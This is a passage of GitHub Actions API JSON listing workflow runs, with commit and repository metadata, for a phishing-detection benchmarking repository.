s://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50405595,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDU1OTU=","head_branch":"master","head_sha":"b6eb2428e9831bc830315de2fc0ea65dfd3b18e1","run_number":88,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502381149,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzODExNDk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50405595","pull_requests":[],"created_at":"2020-03-05T22:30:18Z","updated_at":"2020-03-05T22:35:26Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502381149","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"b6eb2428e9831bc830315de2fc0ea65dfd3b18e1","tree_id":"b02a22c81c40eaa04919a301b296f0a4dfd69720","message":"New Email Input System (#38)\n\nA new input subsystem for email datasets that is decoupled from the legacy feature extraction system.\r\n\r\nChanges to behavior:\r\n\r\nThe assumption of a flat folder structure is removed. PhishBench is now capable of handling arbitrary folder structures.","timestamp":"2020-03-03T18:47:48Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50404851,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDQ4NTE=","head_branch":"feature_alexa","head_sha":"62d5f786668f2b4b0e41e8be1d8b83468918dbbe","run_number":87,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502376568,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzNzY1Njg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50404851","pull_requests":[],"created_at":"2020-03-05T22:27:23Z","updated_at":"2020-03-05T22:32:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502376568","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"62d5f786668f2b4b0e41e8be1d8b83468918dbbe","tree_id":"e9f24e5abc7137f1c802ea02cbc63d15780e4553","message":"Merge branch 'master' into feature_alexa","timestamp":"2020-03-05T22:22:08Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50402366,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDIzNjY=","head_branch":"feature_alexa","head_sha":"52097e7277f933144aac569dbe871f11401b7556","run_number":86,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502363857,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzNjM4NTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50402366","pull_requests":[],"created_at":"2020-03-05T22:19:59Z","updated_at":"2020-03-05T22:24:31Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502363857","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"52097e7277f933144aac569dbe871f11401b7556","tree_id":"75de559d283c2799a4638969b9ba313b91e36b2d","message":"1","timestamp":"2020-03-05T22:19:46Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all